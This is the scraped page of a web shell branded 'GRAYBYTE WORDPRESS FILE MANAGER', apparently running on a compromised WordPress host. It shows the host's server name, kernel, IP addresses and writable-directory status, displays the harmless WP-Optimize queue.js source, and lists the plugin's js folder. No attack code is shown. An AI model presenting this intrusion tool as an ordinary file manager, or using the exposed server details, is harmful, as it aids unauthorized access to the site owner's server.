✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.179
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/wp-optimize/js//queue.js
/**
Adapted and extended from the work of Stephen Morley - http://code.stephenmorley.org/javascript/queues/

Queue.js

A function to represent a queue

Created by Stephen Morley - http://code.stephenmorley.org/ - and released under
the terms of the CC0 1.0 Universal legal code:

http://creativecommons.org/publicdomain/zero/1.0/legalcode
 */

/**
 * Creates a new queue. A queue is a first-in-first-out (FIFO) data structure -
 * items are added to the end of the queue and removed from the front.
 *
 * @return {void}
 */
function Updraft_Queue() {

	// Initialise the queue and offset.
	var queue  = [];
	var offset = 0;
	var locked = false;

	/**
	* Returns the length of the queue.
	*
	* @returns {number} - the length of the queue
	*/
	this.get_length = function () {
		return (queue.length - offset);
	}

	/**
	* Query whether the queue is empty or not
	*
	* @returns {boolean} - returns true if the queue is empty, and false otherwise.
	*/
	this.is_empty = function () {
		return (queue.length == 0);
	}

	/**
	 * Enqueues the specified item. The parameter is:
	 *
	 * @param {*} item The item to enqueue
	 *
	 * @return {void}
	 */
	this.enqueue = function (item) {
		queue.push(item);
	}
	
	/**
	 * Returns the queue lock status
	 *
	 * @returns {boolean} - whether the queue is locked or not
	 */
	this.is_locked = function () {
		return locked;
	}
	
	/**
	 * Attempt to get the queue lock
	 *
	 * @returns {boolean} - whether the attempt succeeded or not
	 */
	this.get_lock = function () {
		if (locked) { return false; }
		this.lock();
		return true;
	}

	/**
	* Dequeues an item and returns it. If the queue is empty, the value
	* 'undefined' is returned.
	*
	* @returns {*} - returns and removes the item at the front of the queue, or undefined if the queue is empty
	*/
	this.dequeue = function () {

		// If the queue is empty, return immediately.
		if (queue.length == 0) return undefined;

		// Store the item at the front of the queue.
		var item = queue[offset];

		// Increment the offset and remove the free space if necessary.
		if ((++offset * 2) >= queue.length) {
			queue  = queue.slice(offset);
			offset = 0;
		}

		// Return the dequeued item.
		return item;
	}

	/**
	 * Lock the queue
	 *
	 * @returns {void}
	 */
	this.lock = function () {
		locked = true;
	}
	
	/**
	 * Unlock the queue
	 *
	 * @returns {void}
	 */
	this.unlock = function () {
		locked = false;
	}
	
	/**
	* Returns the item at the front of the queue (without dequeuing it). If the
	* queue is empty then undefined is returned.
	*
	* @returns {*} - returns the item at the front of the queue, or undefined if the queue is empty
	*/
	this.peek = function () {
		return (queue.length > 0 ? queue[offset] : undefined);
	}
	
	/**
	 * Replaces the item at the front of the queue (if any)
	 *
	 * @param {*} item       The item to put at the front of the queue.
	 *
	 * @return {boolean}      Whether or not the item was successfully replaced.
	 */
	this.replace_front = function (item) {
		if (queue.length < 1) { return false; }
		queue[offset] = item;
		return true;
	}

	/**
	 * Checks if any queue object/element contains the ID
	 *
	 * @param {string} id       The ID to search for.
	 *
	 * @return {boolean}      Whether any queue object/element contains the ID.
	 */
	this.contains_id = function (id) {
		return queue.slice(offset).some(function (ele) {
			return ele && typeof ele === 'object' && ele.optimization_id === id;
		});
	}
	
	/**
	 * Returns a copy of all items currently in the queue.
	 *
	 * @returns {Array} - An array of all current items in the queue.
	 */
	this.get_all_items = function () {
		return queue.slice(offset);
	}

}



Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
22 Jun 2026 6.38 AM
tdhomesa / tdhomesa
0755
handlebars
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
jszip
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
serialize-json
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
sortable
--
5 Jun 2026 10.08 AM
tdhomesa / tdhomesa
0755
blockUI-4-5-5.min.js
0.645 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
blockUI.js
1.313 KB
25 May 2026 12.53 PM
tdhomesa / tdhomesa
0644
cache-4-5-5.min.js
8.029 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
cache.js
15.287 KB
25 Mar 2026 2.42 PM
tdhomesa / tdhomesa
0644
delay-js-4-5-5.min.js
1.16 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
delay-js.js
5.446 KB
21 Apr 2026 8.53 PM
tdhomesa / tdhomesa
0644
heartbeat-4-5-5.min.js
2.781 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
heartbeat.js
7.522 KB
22 Oct 2024 10.25 PM
tdhomesa / tdhomesa
0644
loadAsync-4-5-5.min.js
0.297 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
loadAsync.js
0.654 KB
27 Mar 2020 7.42 PM
tdhomesa / tdhomesa
0644
loadCSS-4-5-5.min.js
0.799 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
loadCSS.js
3.046 KB
27 Mar 2020 7.42 PM
tdhomesa / tdhomesa
0644
minify-4-5-5.min.js
12.531 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
minify.js
23.036 KB
25 Mar 2026 2.42 PM
tdhomesa / tdhomesa
0644
modal-4-5-5.min.js
1.132 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
modal.js
2.293 KB
18 Nov 2025 5.53 PM
tdhomesa / tdhomesa
0644
queue-4-5-5.min.js
0.682 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
queue.js
3.567 KB
24 Sep 2025 2.04 AM
tdhomesa / tdhomesa
0644
send-command-4-5-5.min.js
2.579 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
send-command.js
5.878 KB
12 Aug 2024 2.02 PM
tdhomesa / tdhomesa
0644
status-4-5-5.min.js
3.615 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
status.js
7.019 KB
24 Sep 2025 2.04 AM
tdhomesa / tdhomesa
0644
wpo-images-view-4-5-5.min.js
7.334 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
wpo-images-view.js
15.58 KB
22 Oct 2024 10.25 PM
tdhomesa / tdhomesa
0644
wpoadmin-4-5-5.min.js
37.792 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
wpoadmin.js
76.408 KB
25 Mar 2026 2.42 PM
tdhomesa / tdhomesa
0644
wposmush-4-5-5.min.js
21.637 KB
5 Jun 2026 10.44 AM
tdhomesa / tdhomesa
0644
wposmush.js
46.05 KB
25 May 2026 12.53 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF